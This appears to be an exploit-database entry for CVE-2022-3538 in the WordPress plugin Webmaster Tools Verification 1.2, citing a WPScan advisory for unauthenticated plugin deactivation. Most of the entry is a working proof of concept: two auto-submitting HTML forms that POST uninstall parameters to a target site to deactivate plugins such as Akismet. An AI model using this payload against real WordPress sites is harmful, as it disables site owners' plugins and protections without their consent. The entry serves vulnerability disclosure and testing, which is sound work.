CVE: CVE-2022-3538

Name: Webmaster Tools Verification (webmaster-tools-verification)

Version: 1.2

Date: 2022-10-14 23:29:10

Advisory: https://wpscan.com/vulnerability/337ee7ed-9ade-4567-b976-88386cbcf036

Type: Unauthenticated Plugin Deactivation

Exploit: 


<form action="https://example.com" method="POST">
    <input type="text" name="plugin" value="akismet/akismet.php">
    <input type="text" name="wmtv_uninstall" value="Uninstall">
    <input type="text" name=" wmtv_uninstall_confirm" value="1">
</form>
<script>
    document.forms[0].submit();
</script>

<form action="https://example.com" method="POST">
    <input type="text" name="plugin" value="webmaster-tools/webmaster-tools.php">
    <input type="text" name="wmtv_uninstall" value="Uninstall">
    <input type="text" name=" wmtv_uninstall_confirm" value="1">
</form>
<script>
    document.forms[0].submit();
</script>